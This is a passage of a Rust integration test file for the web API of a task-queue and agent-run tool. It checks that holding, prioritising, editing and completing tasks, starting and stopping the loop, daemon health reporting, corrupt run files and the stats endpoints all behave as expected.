6888 Source::Human,
6889 );
6890 queue.put(&mut task).expect("file the task");
6891
6892 let held = f
6893 .post(
6894 &format!("/api/queue/{}/hold", task.id),
6895 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6896 )
6897 .await;
6898 assert_eq!(held.status, 200, "{}", held.body);
6899 assert_eq!(held.json()["status_str"], "held");
6900 assert_eq!(
6901 held.json()["hold_reason"],
6902 "waiting for 20260101-000000-aaaa to land"
6903 );
6904
6905 let listed = f.get("/api/queue").await.json();
6906 assert_eq!(
6907 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6908 "the card reads the reason off the same list route"
6909 );
6910
6911 let mut plain = Task::new(
6914 "no reason given".to_owned(),
6915 "Do another thing".to_owned(),
6916 PathBuf::from("/repo/magi"),
6917 Source::Human,
6918 );
6919 queue.put(&mut plain).expect("file the task");
6920 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6921 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6922 assert!(held_plain.json()["hold_reason"].is_null());
6923
6924 let released = f
6925 .post(&format!("/api/queue/{}/release", task.id), None)
6926 .await;
6927 assert_eq!(released.status, 200);
6928 assert!(
6929 released.json()["hold_reason"].is_null(),
6930 "a release must clear the reason so the next hold does not inherit it"
6931 );
6932 }
6933
6934 #[tokio::test]
6935 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6936 let f = Fixture::start().await;
6937 let queue = f.queue();
6938 let mut older = Task::new(
6939 "filed first".to_owned(),
6940 "x".to_owned(),
6941 PathBuf::from("/repo/magi"),
6942 Source::Human,
6943 );
6944 older.id = "20260101-000001-aaaa".to_owned();
6945 let mut newer = Task::new(
6946 "filed second".to_owned(),
6947 "x".to_owned(),
6948 PathBuf::from("/repo/magi"),
6949 Source::Human,
6950 );
6951 newer.id = "20260101-000002-bbbb".to_owned();
6952 queue.put(&mut older).expect("file older");
6953 queue.put(&mut newer).expect("file newer");
6954
6955 let before = f.get("/api/queue").await.json();
6958 assert_eq!(before[0]["id"], newer.id);
6959 assert_eq!(before[1]["id"], older.id);
6960
6961 let raised = f
6965 .post(
6966 &format!("/api/queue/{}/priority", older.id),
6967 Some(r#"{"priority":10}"#),
6968 )
6969 .await;
6970 assert_eq!(raised.status, 200, "{}", raised.body);
6971 assert_eq!(raised.json()["priority"], 10);
6972
6973 let after = f.get("/api/queue").await.json();
6974 let names: Vec<&str> = after
6975 .as_array()
6976 .unwrap()
6977 .iter()
6978 .map(|t| t["id"].as_str().unwrap())
6979 .collect();
6980 assert_eq!(names[0], older.id, "the raised task now sorts first");
6984 }
6985
6986 #[tokio::test]
6987 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6988 let f = Fixture::start().await;
6989 let queue = f.queue();
6990 let mut task = Task::new(
6991 "in flight".to_owned(),
6992 "x".to_owned(),
6993 PathBuf::from("/repo/magi"),
6994 Source::Human,
6995 );
6996 task.start("20260902-140502-bbbb".to_owned());
6997 queue.put(&mut task).expect("file the task");
6998
6999 let res = f
7000 .post(
7001 &format!("/api/queue/{}/priority", task.id),
7002 Some(r#"{"priority":9}"#),
7003 )
7004 .await;
7005 assert_eq!(res.status, 400, "{}", res.body);
7006 assert!(
7007 res.json()["error"]
7008 .as_str()
7009 .is_some_and(|e| e.contains("running")),
7010 "{}",
7011 res.body
7012 );
7013 assert_eq!(
7014 queue.get(&task.id).expect("reload").priority,
7015 0,
7016 "the refused write must not partially apply"
7017 );
7018 }
7019
7020 #[tokio::test]
7021 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
7022 let f = Fixture::start().await;
7023 let queue = f.queue();
7024 let mut task = Task::new(
7025 "old title".to_owned(),
7026 "old instruction".to_owned(),
7027 PathBuf::from("/repo/magi"),
7028 Source::Agent {
7029 run: "20260101-000000-beef".to_owned(),
7030 node: "implement".to_owned(),
7031 },
7032 );
7033 task.runs.push("20260101-000000-beef".to_owned());
7034 queue.put(&mut task).expect("file the task");
7035 let created_at = task.created_at;
7036
7037 let edited = f
7038 .post(
7039 &format!("/api/queue/{}/edit", task.id),
7040 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
7041 )
7042 .await;
7043 assert_eq!(edited.status, 200, "{}", edited.body);
7044 let body = edited.json();
7045 assert_eq!(body["title"], "new title");
7046 assert_eq!(body["instruction"], "new instruction");
7047 assert_eq!(body["id"], task.id, "editing must not mint a new id");
7048 assert_eq!(body["created_at"], created_at.to_string());
7049 assert_eq!(
7050 body["source"]["kind"], "agent",
7051 "editing a task an agent filed must not turn it human: {body}"
7052 );
7053 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
7054
7055 let reloaded = queue.get(&task.id).expect("reload");
7056 assert_eq!(reloaded.title, "new title");
7057 assert_eq!(reloaded.instruction, "new instruction");
7058 }
7059
7060 #[tokio::test]
7061 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
7062 let f = Fixture::start().await;
7063 let queue = f.queue();
7064 let mut task = Task::new(
7065 "in flight".to_owned(),
7066 "do not touch".to_owned(),
7067 PathBuf::from("/repo/magi"),
7068 Source::Human,
7069 );
7070 task.start("20260902-140502-bbbb".to_owned());
7071 queue.put(&mut task).expect("file the task");
7072
7073 let res = f
7074 .post(
7075 &format!("/api/queue/{}/edit", task.id),
7076 Some(r#"{"title":"x","instruction":"y"}"#),
7077 )
7078 .await;
7079 assert_eq!(res.status, 400, "{}", res.body);
7080 assert!(
7081 res.json()["error"]
7082 .as_str()
7083 .is_some_and(|e| e.contains("running")),
7084 "{}",
7085 res.body
7086 );
7087 assert_eq!(
7088 queue.get(&task.id).expect("reload").instruction,
7089 "do not touch",
7090 "the refused edit must not change the file"
7091 );
7092 }
7093
7094 #[tokio::test]
7095 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
7096 let f = Fixture::start().await;
7097 let queue = f.queue();
7098 let mut task = Task::new(
7099 "busy".to_owned(),
7100 "Running right now".to_owned(),
7101 PathBuf::from("/repo/magi"),
7102 Source::Human,
7103 );
7104 queue.put(&mut task).expect("file the task");
7105 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7106
7107 let priority = f
7108 .post(
7109 &format!("/api/queue/{}/priority", task.id),
7110 Some(r#"{"priority":9}"#),
7111 )
7112 .await;
7113 assert_eq!(priority.status, 409, "{}", priority.body);
7114
7115 let edit = f
7116 .post(
7117 &format!("/api/queue/{}/edit", task.id),
7118 Some(r#"{"title":"x","instruction":"y"}"#),
7119 )
7120 .await;
7121 assert_eq!(edit.status, 409, "{}", edit.body);
7122 }
7123
7124 #[tokio::test]
7125 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
7126 let f = Fixture::start().await;
7127 let queue = f.queue();
7128 let mut task = Task::new(
7129 "shipped by hand".to_owned(),
7130 "merged outside the loop".to_owned(),
7131 PathBuf::from("/repo/magi"),
7132 Source::Agent {
7133 run: "20260101-000000-b455".to_owned(),
7134 node: "implement".to_owned(),
7135 },
7136 );
7137 task.runs.push("20260101-000000-b455".to_owned());
7138 task.runs.push("20260101-000000-9af4".to_owned());
7139 queue.put(&mut task).expect("file the task");
7140 let created_at = task.created_at;
7141
7142 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7143 assert_eq!(done.status, 200, "{}", done.body);
7144 assert_eq!(done.json()["status_str"], "done");
7145
7146 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
7147 assert_eq!(
7148 reloaded.runs,
7149 ["20260101-000000-b455", "20260101-000000-9af4"]
7150 );
7151 assert_eq!(
7152 reloaded.source,
7153 Source::Agent {
7154 run: "20260101-000000-b455".to_owned(),
7155 node: "implement".to_owned(),
7156 }
7157 );
7158 assert_eq!(reloaded.created_at, created_at);
7159 }
7160
7161 #[tokio::test]
7162 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
7163 let f = Fixture::start().await;
7168 let queue = f.queue();
7169 let mut task = Task::new(
7170 "landed while held".to_owned(),
7171 "x".to_owned(),
7172 PathBuf::from("/repo/magi"),
7173 Source::Human,
7174 );
7175 task.hold_manual(Some("waiting on 3ed9".to_owned()));
7176 queue.put(&mut task).expect("file the held task");
7177
7178 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7179 assert_eq!(done.status, 200, "{}", done.body);
7180 assert_eq!(done.json()["status_str"], "done");
7181 assert!(
7182 done.json()["hold_reason"].is_null(),
7183 "a done task cannot still be waiting on something: {}",
7184 done.body
7185 );
7186 }
7187
7188 #[tokio::test]
7189 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
7190 let f = Fixture::start().await;
7195 let queue = f.queue();
7196 let runs = f.runs();
7197 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
7198 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
7202
7203 let mut task = Task::new(
7204 "landed by hand".to_owned(),
7205 "x".to_owned(),
7206 PathBuf::from("/repo/magi"),
7207 Source::Human,
7208 );
7209 task.runs.push("20260101-000000-doa1".to_owned());
7210 task.runs.push("20260101-000000-doa2".to_owned());
7211 queue.put(&mut task).expect("file the task");
7212
7213 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7214 assert_eq!(done.status, 200, "{}", done.body);
7215
7216 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
7217 .expect("run still on disk under this fixture's own home");
7218 assert_eq!(
7219 reloaded_run.status,
7220 RunStatus::Superseded,
7221 "closing the task by hand must relabel the earlier blocked attempt exactly \
7222 like the loop's own settle path does"
7223 );
7224 }
7225
7226 #[tokio::test]
7227 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
7228 let f = Fixture::start().await;
7233 let queue = f.queue();
7234 let runs = f.runs();
7235 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
7236 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
7237
7238 let mut task = Task::new(
7239 "closed with nothing actually landed".to_owned(),
7240 "x".to_owned(),
7241 PathBuf::from("/repo/magi"),
7242 Source::Human,
7243 );
7244 task.runs.push("20260101-000000-dob1".to_owned());
7245 task.runs.push("20260101-000000-dob2".to_owned());
7246 queue.put(&mut task).expect("file the task");
7247
7248 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7249 assert_eq!(done.status, 200, "{}", done.body);
7250
7251 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
7252 .expect("run still on disk under this fixture's own home");
7253 assert_eq!(
7254 reloaded_run.status,
7255 RunStatus::Blocked,
7256 "the last recorded attempt never landed, so the earlier one must not be \
7257 relabelled as superseded by it"
7258 );
7259 }
7260
7261 #[tokio::test]
7262 async fn unknown_ids_are_json_not_found_on_both_stores() {
7263 let f = Fixture::start().await;
7264
7265 let run = f.get("/api/runs/nosuchrun").await;
7266 let task = f.post("/api/queue/nosuchtask/hold", None).await;
7267
7268 assert_eq!(run.status, 404);
7269 assert_eq!(task.status, 404);
7270 assert!(
7271 run.json()["error"]
7272 .as_str()
7273 .is_some_and(|e| e.contains("run")),
7274 "the error names what was not found: {}",
7275 run.body
7276 );
7277 assert!(
7278 task.json()["error"]
7279 .as_str()
7280 .is_some_and(|e| e.contains("task")),
7281 "the error names what was not found: {}",
7282 task.body
7283 );
7284 }
7285
7286 #[tokio::test]
7287 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
7288 let f = Fixture::start().await;
7289
7290 let missing = f.get("/api/health").await.json();
7291 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
7292
7293 write_daemon(
7294 f.home.path(),
7295 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7296 );
7297 let stale = f.get("/api/health").await.json();
7298 assert_eq!(
7299 stale["daemon"]["running"], false,
7300 "a minute without a heartbeat is a dead daemon, not a busy one"
7301 );
7302 assert!(
7303 stale["daemon"]["stale_for_secs"]
7304 .as_i64()
7305 .is_some_and(|s| s >= 55),
7306 "staleness is reported so the UI can say how long: {stale}"
7307 );
7308
7309 write_daemon(f.home.path(), Timestamp::now());
7310 let fresh = f.get("/api/health").await.json();
7311 assert_eq!(fresh["daemon"]["running"], true);
7312 assert_eq!(fresh["daemon"]["idle"], false);
7313 assert_eq!(fresh["daemon"]["pid"], 4242);
7314 assert_eq!(fresh["daemon"]["completed"], 7);
7315 assert_eq!(
7316 fresh["daemon"]["current"][0]["task"],
7317 "20260902-140501-aaaa"
7318 );
7319 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
7320 }
7321
7322 #[tokio::test]
7323 async fn the_loop_is_not_running_until_something_starts_it() {
7324 let f = Fixture::start().await;
7325
7326 let view = f.get("/api/loop").await.json();
7327 assert_eq!(view["running"], false);
7328 assert_eq!(
7329 view["owned"], false,
7330 "nobody owns a loop that does not exist: {view}"
7331 );
7332 assert_eq!(view["stopping"], false);
7333 assert_eq!(view["last_error"], Value::Null);
7334 assert_eq!(view["daemon"]["running"], false);
7335 assert_eq!(
7336 view["repo"], "/repo/magi",
7337 "the repository a start would use, named before it is started"
7338 );
7339 }
7340
7341 #[tokio::test]
7342 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
7343 let f = Fixture::start().await;
7344
7345 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7346 assert_eq!(res.status, 200, "{}", res.body);
7347 let view = res.json();
7348 assert_eq!(view["running"], true);
7349 assert_eq!(
7350 view["owned"], true,
7351 "the loop the UI started is the UI's own to stop: {view}"
7352 );
7353 assert_eq!(
7354 view["merge"],
7355 Value::Null,
7356 "no override was given, so each repository's own config decides"
7357 );
7358
7359 let health = f.get("/api/health").await.json();
7363 assert_eq!(health["loop"]["running"], true, "{health}");
7364 assert_eq!(health["loop"]["owned"], true, "{health}");
7365
7366 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7367 }
7368
7369 #[tokio::test]
7370 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
7371 let f = Fixture::start().await;
7372 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7373 assert_eq!(first.status, 200, "{}", first.body);
7374
7375 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7376 assert_eq!(
7377 again.status, 409,
7378 "two loops on one queue race for the same claims: {}",
7379 again.body
7380 );
7381 assert!(
7382 again.json()["error"]
7383 .as_str()
7384 .is_some_and(|e| e.contains("already running the loop")),
7385 "the refusal has to say why: {}",
7386 again.body
7387 );
7388 assert_eq!(
7389 f.get("/api/loop").await.json()["running"],
7390 true,
7391 "and the loop that was already running is untouched by it"
7392 );
7393
7394 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7395 }
7396
7397 #[tokio::test]
7398 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
7399 let f = Fixture::start().await;
7400 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7401
7402 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7403 assert_eq!(
7404 res.status, 200,
7405 "the answer must not wait for the loop: a run in flight is tens of \
7406 minutes and the operator is holding a phone: {}",
7407 res.body
7408 );
7409
7410 let view = settled(&f, |v| v["running"] == false).await;
7411 assert_eq!(view["owned"], false);
7412 assert_eq!(
7413 view["stopping"], false,
7414 "a loop that has stopped is not still stopping: {view}"
7415 );
7416 assert_eq!(
7417 view["last_error"],
7418 Value::Null,
7419 "a loop that was asked to stop did not fail: {view}"
7420 );
7421
7422 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7425 assert_eq!(twice.status, 200, "{}", twice.body);
7426 }
7427
7428 #[tokio::test]
7429 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
7430 let f = Fixture::start().await;
7431 write_daemon(f.home.path(), Timestamp::now());
7434
7435 let view = f.get("/api/loop").await.json();
7436 assert_eq!(view["running"], false, "not in this process: {view}");
7437 assert_eq!(view["owned"], false, "and not this process's to control");
7438 assert_eq!(
7439 view["daemon"]["running"], true,
7440 "but a loop is alive somewhere, which is what the UI must say"
7441 );
7442 assert_eq!(view["daemon"]["pid"], 4242);
7443
7444 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
7445 let res = f.post("/api/loop", Some(body)).await;
7446 assert_eq!(
7447 res.status, 409,
7448 "neither button may pretend to work on someone else's loop: {}",
7449 res.body
7450 );
7451 assert!(
7452 res.json()["error"]
7453 .as_str()
7454 .is_some_and(|e| e.contains("4242")),
7455 "the refusal has to name the process the operator must go to: {}",
7456 res.body
7457 );
7458 }
7459 assert_eq!(
7460 f.get("/api/loop").await.json()["running"],
7461 false,
7462 "and the refusal started nothing"
7463 );
7464 }
7465
7466 #[tokio::test]
7467 async fn a_stale_status_file_is_not_a_foreign_owner() {
7468 let f = Fixture::start().await;
7469 write_daemon(
7470 f.home.path(),
7471 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7472 );
7473
7474 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7475 assert_eq!(
7476 res.status, 200,
7477 "a daemon killed a minute ago must not lock the loop out of its \
7478 own home for good: {}",
7479 res.body
7480 );
7481 assert_eq!(res.json()["running"], true);
7482
7483 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7484 }
7485
7486 #[tokio::test]
7487 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
7488 let f = Fixture::start().await;
7489 let before = f.get("/api/health").await.json()["loop_rev"]
7490 .as_u64()
7491 .expect("a loop revision");
7492
7493 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7494
7495 let after = f.get("/api/health").await.json()["loop_rev"]
7496 .as_u64()
7497 .expect("a loop revision");
7498 assert!(
7499 after > before,
7500 "the loop is in-process state, so this counter is the only thing \
7501 that tells a second device the first one started it: {before} -> \
7502 {after}"
7503 );
7504
7505 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7506 }
7507
7508 #[tokio::test]
7509 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
7510 let f = Fixture::with_loop(launch_broken).await;
7511
7512 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7513 assert_eq!(
7514 res.status, 200,
7515 "starting it is not the failure: {}",
7516 res.body
7517 );
7518
7519 let view = settled(&f, |v| v["last_error"].is_string()).await;
7520 assert_eq!(
7521 view["running"], false,
7522 "a loop that died must not read as running, or the operator has \
7523 nothing to press: {view}"
7524 );
7525 assert_eq!(view["owned"], false);
7526 assert!(
7527 view["last_error"]
7528 .as_str()
7529 .is_some_and(|e| e.contains("read-only file system")),
7530 "the phone is where a loop that died at 3am is visible: {view}"
7531 );
7532
7533 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7536 assert_eq!(again.status, 200, "{}", again.body);
7537 assert_eq!(
7538 again.json()["last_error"],
7539 Value::Null,
7540 "a fresh start does not keep showing why the last one died"
7541 );
7542 }
7543
7544 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
7556 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
7557 let home = TempDir::new().expect("temp home");
7558 let runs = home.path().join("runs");
7559 std::fs::create_dir_all(&runs).expect("runs dir");
7560 let ui = Ui::new(
7561 Queue::at(home.path().join("queue")),
7562 Questions::at(home.path().join("questions")),
7563 Talks::at(home.path().join("talks")),
7564 runs,
7565 home.path().to_path_buf(),
7566 PathBuf::from("/repo/magi"),
7567 )
7568 .with_worktrees_root(home.path().join("wt"))
7569 .with_launch(launch_knocking_on_the_way_out);
7570 let looping = ui.looping();
7571 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7572 .await
7573 .expect("bind loopback");
7574 let addr = listener.local_addr().expect("local addr");
7575 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
7576 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7577
7578 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
7579 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
7580
7581 let bound = std::sync::Mutex::new(None);
7596 hand_over(home.path(), &looping, served, || {
7597 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
7598 let attempt = loop {
7599 match std::net::TcpListener::bind(addr) {
7600 Ok(l) => {
7601 drop(l);
7602 break Ok(());
7603 }
7604 Err(e)
7605 if e.kind() == std::io::ErrorKind::AddrInUse
7606 && std::time::Instant::now() < deadline =>
7607 {
7608 std::thread::sleep(std::time::Duration::from_millis(10));
7609 }
7610 Err(e) => break Err(e.to_string()),
7611 }
7612 };
7613 *bound.lock().expect("bound") = Some(attempt);
7614 Ok(())
7615 })
7616 .await
7617 .expect("hand over");
7618
7619 assert_eq!(
7620 *PARK_HEARD.lock().expect("park heard"),
7621 Some(200),
7622 "the deck must answer while the loop is parking"
7623 );
7624 let attempt = bound
7625 .lock()
7626 .expect("bound")
7627 .take()
7628 .expect("the successor was started");
7629 assert!(
7630 attempt.is_ok(),
7631 "and the address must be free by the time it is: {attempt:?}"
7632 );
7633 }
7634
7635 #[tokio::test]
7636 async fn a_newer_daemon_status_file_still_renders() {
7637 let f = Fixture::start().await;
7638 std::fs::write(
7641 f.home.path().join("daemon.json"),
7642 serde_json::json!({
7643 "schema": 2,
7644 "updated_at": Timestamp::now().to_string(),
7645 "idle": true,
7646 "surprise": { "nested": [1, 2, 3] },
7647 })
7648 .to_string(),
7649 )
7650 .expect("write daemon.json");
7651
7652 let health = f.get("/api/health").await;
7653
7654 assert_eq!(health.status, 200);
7655 assert_eq!(health.json()["daemon"]["running"], true);
7656 }
7657
7658 #[tokio::test]
7659 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
7660 let f = Fixture::start().await;
7661 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7662 let broken = f.runs().join("20260902-140502-bad");
7663 std::fs::create_dir_all(&broken).expect("run dir");
7664 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7665
7666 let list = f.get("/api/runs").await;
7667 let detail = f.get("/api/runs/20260902-140502-bad").await;
7668
7669 assert_eq!(list.status, 200);
7670 let listed = list.json();
7671 let ids: Vec<&str> = listed
7672 .as_array()
7673 .expect("an array")
7674 .iter()
7675 .map(|r| r["id"].as_str().expect("an id"))
7676 .collect();
7677 assert_eq!(
7678 ids,
7679 vec!["20260902-140501-good"],
7680 "one unreadable run must not cost the operator the whole history"
7681 );
7682 assert_eq!(detail.status, 500);
7683 assert!(
7684 detail.json()["error"]
7685 .as_str()
7686 .is_some_and(|e| e.contains("run.json")),
7687 "the failure names the file to look at: {}",
7688 detail.body
7689 );
7690 let health = f.get("/api/health").await;
7694 assert_eq!(health.json()["runs_unreadable"], 1);
7695 }
7696
7697 #[tokio::test]
7702 async fn stats_runs_unreadable_matches_health() {
7703 let f = Fixture::start().await;
7704 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7705 let broken = f.runs().join("20260902-140502-bad");
7706 std::fs::create_dir_all(&broken).expect("run dir");
7707 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7708
7709 let stats = f.get("/api/stats").await;
7710 let health = f.get("/api/health").await;
7711
7712 assert_eq!(stats.status, 200);
7713 assert_eq!(stats.json()["totals"]["runs"], 1);
7714 assert_eq!(stats.json()["runs_unreadable"], 1);
7715 assert_eq!(
7716 stats.json()["runs_unreadable"],
7717 health.json()["runs_unreadable"],
7718 "the dashboard and /api/health must never disagree about how many \
7719 runs could not be read"
7720 );
7721 }
7722
7723 #[tokio::test]
7724 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
7725 let f = Fixture::start().await;
7726 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7727 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
7728 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
7729
7730 let totals = &f.get("/api/stats").await.json()["totals"];
7731 assert_eq!(totals["runs"], 3);
7732 assert_eq!(totals["merged"], 1);
7733 assert_eq!(totals["stalled"], 1);
7734 assert_eq!(totals["in_progress"], 1);
7735 assert_eq!(totals["blocked"], 0);
7738 assert_eq!(totals["ready"], 0);
7739 }
7740
7741 #[tokio::test]
7742 async fn stats_advisors_report_proposals_and_reflection() {
7743 use crate::advise::{Advice, AdvisorRecord, Reflection};
7744 use crate::verdict::Proposal;
7745
7746 let f = Fixture::start().await;
7747 let mut state = RunState::new(
7748 PathBuf::from("/repo/magi"),
7749 "main".to_owned(),
7750 "0123456789abcdef".to_owned(),
7751 "task".to_owned(),
7752 Config::default(),
7753 );
7754 state.id = "20260902-140501-a".to_owned();
7755 state.status = RunStatus::Merged;
7756 state.advice = Some(Advice {
7757 records: vec![
7758 AdvisorRecord {
7759 seat: "advisor-1".to_owned(),
7760 agent: "alpha".to_owned(),
7761 proposal: Some(Proposal {
7762 approach: "do it".to_owned(),
7763 key_tradeoff: "speed over memory".to_owned(),
7764 risks: Vec::new(),
7765 touches: Vec::new(),
7766 why_not_naive: "breaks under load".to_owned(),
7767 }),
7768 error: None,
7769 duration_ms: 0,
7770 reflection: Reflection::Strong,
7771 },
7772 AdvisorRecord {
7773 seat: "advisor-2".to_owned(),
7774 agent: "alpha".to_owned(),
7775 proposal: None,
7776 error: Some("timed out".to_owned()),
7777 duration_ms: 0,
7778 reflection: Reflection::Absent,
7779 },
7780 ],
7781 synthesis: Some("blended brief".to_owned()),
7782 });
7783 let dir = f.runs().join(&state.id);
7784 std::fs::create_dir_all(&dir).expect("run dir");
7785 std::fs::write(
7786 dir.join("run.json"),
7787 serde_json::to_string_pretty(&state).expect("serialize run"),
7788 )
7789 .expect("write run.json");
7790
7791 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
7792 let alpha = advisors
7793 .as_array()
7794 .expect("an array")
7795 .iter()
7796 .find(|a| a["agent"] == "alpha")
7797 .expect("alpha row");
7798 assert_eq!(alpha["seated"], 2);
7799 assert_eq!(alpha["proposed"], 1);
7800 assert_eq!(alpha["absent"], 1);
7801 assert_eq!(alpha["strong"], 1);
7802 assert_eq!(alpha["faint"], 0);
7803 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
7804 }
7805
7806 #[tokio::test]
7807 async fn stats_release_bumps_split_clean_from_attention() {
7808 use crate::run::ReleaseBump;
7809
7810 let f = Fixture::start().await;
7811
7812 let mut clean = RunState::new(
7813 PathBuf::from("/repo/magi"),
7814 "main".to_owned(),
7815 "0123456789abcdef".to_owned(),
7816 "task".to_owned(),
7817 Config::default(),
7818 );
7819 clean.id = "20260902-140501-a".to_owned();
7820 clean.status = RunStatus::Merged;
7821 clean.release_bump = Some(ReleaseBump {
7822 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
7823 version: Some("1.0.0".to_owned()),
7824 automerge_enabled: true,
7825 merged_directly: false,
7826 problem: None,
7827 action_required: None,
7828 });
7829
7830 let mut blocked = RunState::new(
7831 PathBuf::from("/repo/magi"),
7832 "main".to_owned(),
7833 "0123456789abcdef".to_owned(),
7834 "task".to_owned(),
7835 Config::default(),
7836 );
7837 blocked.id = "20260902-140502-b".to_owned();
7838 blocked.status = RunStatus::Merged;
7839 blocked.release_bump = Some(ReleaseBump {
7840 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
7841 version: Some("1.0.1".to_owned()),
7842 automerge_enabled: false,
7843 merged_directly: false,
7844 problem: Some("checks red".to_owned()),
7845 action_required: Some("look at the PR".to_owned()),
7846 });
7847
7848 for state in [&clean, &blocked] {
7849 let dir = f.runs().join(&state.id);
7850 std::fs::create_dir_all(&dir).expect("run dir");
7851 std::fs::write(
7852 dir.join("run.json"),
7853 serde_json::to_string_pretty(state).expect("serialize run"),
7854 )
7855 .expect("write run.json");
7856 }
7857
7858 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7859 assert_eq!(bumps["merged"], 2);
7860 assert_eq!(bumps["recorded"], 2);
7861 assert_eq!(bumps["pr_opened"], 2);
7862 assert_eq!(bumps["automerge_enabled"], 1);
7863 assert_eq!(bumps["needs_attention"], 1);
7864 assert_eq!(bumps["clean"], 1);
7865 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
7866 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
7867 }
7868
7869 #[tokio::test]
7870 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
7871 let f = Fixture::start().await;
7872 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7873
7874 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7875 assert_eq!(bumps["merged"], 1);
7876 assert_eq!(bumps["recorded"], 0);
7877 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
7880 assert_eq!(bumps["automerge_rate"], Value::Null);
7883 assert_eq!(bumps["attention_rate"], Value::Null);
7884 }
7885
7886 #[tokio::test]
7887 async fn stats_queue_counts_come_from_the_live_queue() {
7888 let f = Fixture::start().await;
7889 let q = f.queue();
7890 let mut queued = Task::new(
7891 "queued task".to_owned(),
7892 "do it".to_owned(),
7893 PathBuf::from("/repo"),
7894 Source::Human,
7895 );
7896 q.put(&mut queued).expect("put queued");
7897 let mut held = Task::new(
7898 "held task".to_owned(),
7899 "do it later".to_owned(),
7900 PathBuf::from("/repo"),
7901 Source::Human,
7902 );
7903 held.hold_machine(Some("out of attempts".to_owned()));
7904 q.put(&mut held).expect("put held");
7905
7906 let queue = f.get("/api/stats").await.json()["queue"].clone();
7907 assert_eq!(queue["queued"], 1);
7908 assert_eq!(queue["held"], 1);
7909 assert_eq!(queue["running"], 0);
7910 assert_eq!(queue["done"], 0);
7911 assert_eq!(queue["failed"], 0);
7912 assert_eq!(queue["blocked"], 0);
7913 }
7914
7915 #[tokio::test]
7916 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
7917 let f = Fixture::start().await;
